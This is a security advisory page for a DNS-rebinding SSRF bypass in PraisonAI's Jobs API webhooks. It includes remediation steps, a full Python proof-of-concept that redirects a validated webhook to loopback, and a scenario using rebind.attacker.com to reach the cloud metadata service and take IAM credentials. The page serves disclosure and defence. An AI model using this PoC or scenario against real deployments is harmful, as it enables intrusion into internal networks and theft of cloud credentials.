PraisonAI's Async Jobs API (versions 4.5.126–4.6.58) validates webhook URLs at job submission time using a one-shot DNS lookup, but re-resolves the hostname independently at delivery time — a classic TOCTOU gap that lets DNS rebinding route POST requests to loopback, private-network, or cloud metadata endpoints that the existing guard explicitly tries to block. The Jobs API requires no authentication by default per PraisonAI's own documentation, meaning any network-reachable deployment is exploitable without credentials, and a complete public PoC script is included in the advisory, significantly lowering the skill bar. In AWS, GCP, or Azure deployments, an attacker can trigger POST requests to the instance metadata service (169.254.169.254), potentially harvesting IAM credentials or configuration data; against on-premises deployments, the primitive enables internal network probing and delivery of attacker-controlled JSON payloads to internal APIs that trust the PraisonAI host. Upgrade to praisonai >= 4.6.59 immediately; if patching is delayed, enforce egress filtering to block outbound connections from the PraisonAI process to RFC1918, loopback, and link-local ranges, and require authentication on the Jobs API endpoint.
What is the risk?
High. CVSS 7.2 (AV:N/AC:L/PR:N/UI:N/S:C) with network-scope impact. The combination of unauthenticated-by-default job submission, a published working PoC, and the patch-bypass nature of this advisory (it bypasses GHSA-8frj-8q3m-xhgm's intended fix) makes opportunistic exploitation realistic for any threat actor who can reach the endpoint. Cloud-hosted PraisonAI deployments with IMDSv1 enabled are at highest risk due to credential theft potential. The 104 other CVEs in the praisonai package history indicates this component warrants elevated scrutiny as a persistent attack surface in AI agent stacks.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | >= 4.5.126, <= 4.6.58 | 4.6.59 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: upgrade praisonai to >= 4.6.59 immediately — this is the only complete fix.
-
Network egress control: block outbound HTTP/HTTPS from the PraisonAI process to RFC1918 (10/8, 172.16/12, 192.168/16), loopback (127/8), link-local (169.254/16), and cloud metadata ranges at the host firewall or egress proxy — this is an independent layer that survives application-level bypass.
-
Require Jobs API authentication: enable it via server deployment configuration (PraisonAI docs confirm this is opt-in — make it mandatory for any non-loopback binding).
-
Detection: alert on any outbound POST from the PraisonAI process to internal IP ranges; specifically monitor for connections to 169.254.169.254 and 169.254.170.2 (AWS metadata).
-
Validate exploitability in your environment using the PoC script included in the advisory before and after patching.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-rjvw-7vvw-549v?
PraisonAI's Async Jobs API (versions 4.5.126–4.6.58) validates webhook URLs at job submission time using a one-shot DNS lookup, but re-resolves the hostname independently at delivery time — a classic TOCTOU gap that lets DNS rebinding route POST requests to loopback, private-network, or cloud metadata endpoints that the existing guard explicitly tries to block. The Jobs API requires no authentication by default per PraisonAI's own documentation, meaning any network-reachable deployment is exploitable without credentials, and a complete public PoC script is included in the advisory, significantly lowering the skill bar. In AWS, GCP, or Azure deployments, an attacker can trigger POST requests to the instance metadata service (169.254.169.254), potentially harvesting IAM credentials or configuration data; against on-premises deployments, the primitive enables internal network probing and delivery of attacker-controlled JSON payloads to internal APIs that trust the PraisonAI host. Upgrade to praisonai >= 4.6.59 immediately; if patching is delayed, enforce egress filtering to block outbound connections from the PraisonAI process to RFC1918, loopback, and link-local ranges, and require authentication on the Jobs API endpoint.
Is GHSA-rjvw-7vvw-549v actively exploited?
No confirmed active exploitation of GHSA-rjvw-7vvw-549v has been reported, but organizations should still patch proactively.
How to fix GHSA-rjvw-7vvw-549v?
1. Patch: upgrade praisonai to >= 4.6.59 immediately — this is the only complete fix. 2. Network egress control: block outbound HTTP/HTTPS from the PraisonAI process to RFC1918 (10/8, 172.16/12, 192.168/16), loopback (127/8), link-local (169.254/16), and cloud metadata ranges at the host firewall or egress proxy — this is an independent layer that survives application-level bypass. 3. Require Jobs API authentication: enable it via server deployment configuration (PraisonAI docs confirm this is opt-in — make it mandatory for any non-loopback binding). 4. Detection: alert on any outbound POST from the PraisonAI process to internal IP ranges; specifically monitor for connections to 169.254.169.254 and 169.254.170.2 (AWS metadata). 5. Validate exploitability in your environment using the PoC script included in the advisory before and after patching.
What systems are affected by GHSA-rjvw-7vvw-549v?
This vulnerability affects the following AI/ML architecture patterns: AI agent frameworks, AI orchestration platforms, Cloud-hosted AI inference pipelines, Multi-agent async job queues.
What is the CVSS score for GHSA-rjvw-7vvw-549v?
GHSA-rjvw-7vvw-549v has a CVSS v3.1 base score of 7.2 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0006 Active Scanning AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
# Jobs webhook SSRF protection bypass via DNS rebinding ## Summary PraisonAI's Async Jobs API validates `webhook_url` when a job request is parsed and again when the internal `Job` object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, `_send_webhook()` passes the original hostname to `httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm` ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected. ## Affected Component Package: ```text praisonai ``` Files: ```text src/praisonai/praisonai/jobs/models.py src/praisonai/praisonai/jobs/executor.py src/praisonai/praisonai/jobs/router.py ``` Relevant code paths: ```text JobSubmitRequest.validate_webhook_url() Job.validate_webhook_url() JobExecutor._send_webhook() POST /api/v1/runs ``` ## Affected Versions Validated affected: - `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`); - `v4.5.128` (`b4e3a8a8`); - `v4.6.56` (`d3c4a2af`); - `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`); - current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`, `v4.6.57-4-g2f9677ab`). Suggested affected range for maintainer confirmation: ```text >= 4.5.126, <= 4.6.57 ``` No patched version is known to me at submission time. `v4.5.124` and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard. ## Root Cause Current validation is a time-of-check/time-of-use boundary: 1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and `socket.gethostbyname()`. 2. The resolved address is rejected when it is private, loopback, link-local, or multicast. 3. The original URL string is stored on the `Job`. 4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient` and POSTs to the original URL. 5. `httpx` resolves the hostname again. There is no revalidation of the address that is actually connected to. The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery. ## Local Reproduction The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI `Job` validator plus `JobExecutor._send_webhook()` sender. Run from a PraisonAI checkout: ```fish env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py ``` Observed output on current `main`: ```text DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true} ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook INTERNAL_SERVER_HIT: true INTERNAL_REQUEST_HOST: rebind.test:<port> INTERNAL_REQUEST_PATH: /hook WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status WEBHOOK_PAYLOAD_STATUS: succeeded PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding ``` The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery. ## Full Local PoV Script ```python #!/usr/bin/env python3 """Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF. The PoV uses only loopback services. It models an attacker-controlled hostname that resolves to a public IP during PraisonAI's Pydantic validation, then resolves to loopback when the async webhook sender later opens the connection. """ from __future__ import annotations import asyncio import json import queue import socket import threading from http.server import BaseHTTPRequestHandler, HTTPServer from typing import Any from praisonai.jobs.executor import JobExecutor from praisonai.jobs.models import Job, JobSubmitRequest ATTACKER_HOST = "rebind.test" PUBLIC_IP = "93.184.216.34" class InternalHandler(BaseHTTPRequestHandler): def do_POST(self) -> None: # noqa: N802 length = int(self.headers.get("content-length", "0")) body = self.rfile.read(length) self.server.received.put( # type: ignore[attr-defined] { "path": self.path, "host": self.headers.get("host"), "body": body.decode("utf-8", "replace"), } ) self.send_response(204) self.end_headers() def log_message(self, *_args: Any) -> None: return def assert_direct_loopback_blocked(port: int) -> None: blocked = {} direct_url = f"http://127.0.0.1:{port}/hook" for model in (JobSubmitRequest, Job): try: model(prompt="x", webhook_url=direct_url) blocked[model.__name__] = False except Exception: blocked[model.__name__] = True print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True)) if not all(blocked.values()): raise SystemExit("control failed: direct loopback webhook URL was accepted") def build_validated_job(port: int) -> Job: original_gethostbyname = socket.gethostbyname def validation_gethostbyname(host: str) -> str: if host == ATTACKER_HOST: return PUBLIC_IP return original_gethostbyname(host) socket.gethostbyname = validation_gethostbyname try: webhook_url = f"http://{ATTACKER_HOST}:{port}/hook" request = JobSubmitRequest(prompt="x", webhook_url=webhook_url) job = Job(prompt=request.prompt, webhook_url=request.webhook_url) job.succeed({"pov": "job result sent to webhook"}) return job finally: socket.gethostbyname = original_gethostbyname async def send_after_rebind(job: Job, port: int) -> None: original_getaddrinfo = socket.getaddrinfo def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any): normalized_host = host.decode() if isinstance(host, bytes) else host if normalized_host == ATTACKER_HOST: return [ ( socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", ("127.0.0.1", port_arg), ) ] return original_getaddrinfo(host, port_arg, *args, **kwargs) socket.getaddrinfo = send_getaddrinfo try: await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type] finally: socket.getaddrinfo = original_getaddrinfo def main() -> int: received: queue.Queue[dict[str, str]] = queue.Queue() server = HTTPServer(("127.0.0.1", 0), InternalHandler) server.received = received # type: ignore[attr-defined] port = int(server.server_port) thread = threading.Thread(target=server.handle_request, daemon=True) thread.start() try: assert_direct_loopback_blocked(port) job = build_validated_job(port) print("ACCEPTED_WEBHOOK_URL:", job.webhook_url) asyncio.run(send_after_rebind(job, port)) finally: server.server_close() try: hit = received.get_nowait() except queue.Empty: raise SystemExit("bypass failed: loopback-only webhook receiver was not hit") payload = json.loads(hit["body"]) print("INTERNAL_SERVER_HIT: true") print("INTERNAL_REQUEST_HOST:", hit["host"]) print("INTERNAL_REQUEST_PATH:", hit["path"]) print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload))) print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status")) if hit["host"] != f"{ATTACKER_HOST}:{port}": raise SystemExit("unexpected host header") if payload.get("status") != "succeeded": raise SystemExit("unexpected webhook payload") print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## Intended-Behavior Validation PraisonAI's Async Jobs documentation describes `webhook_url` as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration. The code also proves the intended safety boundary: both `JobSubmitRequest` and `Job` currently reject direct `http://127.0.0.1:<port>/...` webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition. ## Impact If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose `webhook_url`, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host. Practical impact includes: - blind interaction with internal HTTP services; - internal host/port reachability probing via timing and webhook error behavior; - POSTing attacker-controlled job result payloads to internal APIs with weak request validation; - cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access. This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block. ## Severity Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible. If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable. ## Suggested Fix - Move SSRF validation to the send path immediately before opening the outbound connection. - Resolve all candidate addresses with `socket.getaddrinfo()`, not only the first IPv4 answer from `gethostbyname()`. - Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address. - Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect. - Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission. - Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.
Exploitation Scenario
An attacker registers rebind.attacker.com with a short TTL DNS record initially returning 93.184.216.34 (a legitimate public IP). They POST to /api/v1/runs with webhook_url set to http://rebind.attacker.com/hook — PraisonAI's Pydantic validator calls socket.gethostbyname(), gets the public IP, passes validation, and stores the original URL string on the Job object. Immediately after submission, the attacker flips the DNS record to 169.254.169.254. When the job completes (seconds to minutes later), JobExecutor._send_webhook() creates a fresh httpx.AsyncClient and POSTs the job result JSON to the URL — httpx re-resolves the hostname, now getting the metadata IP, and the request crosses into the instance metadata service. In an AWS environment with IMDSv1 enabled, a follow-up GET to /latest/meta-data/iam/security-credentials/ via the same SSRF channel yields temporary IAM credentials that can be used to pivot to S3, Secrets Manager, or other AWS services.
Weaknesses (CWE)
CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition
Primary
CWE-918 Server-Side Request Forgery (SSRF)
Primary
CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition: The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
- [Implementation] The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
- [Implementation] When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-61447 10.0 PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonai CVE-2026-61445 9.9 PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai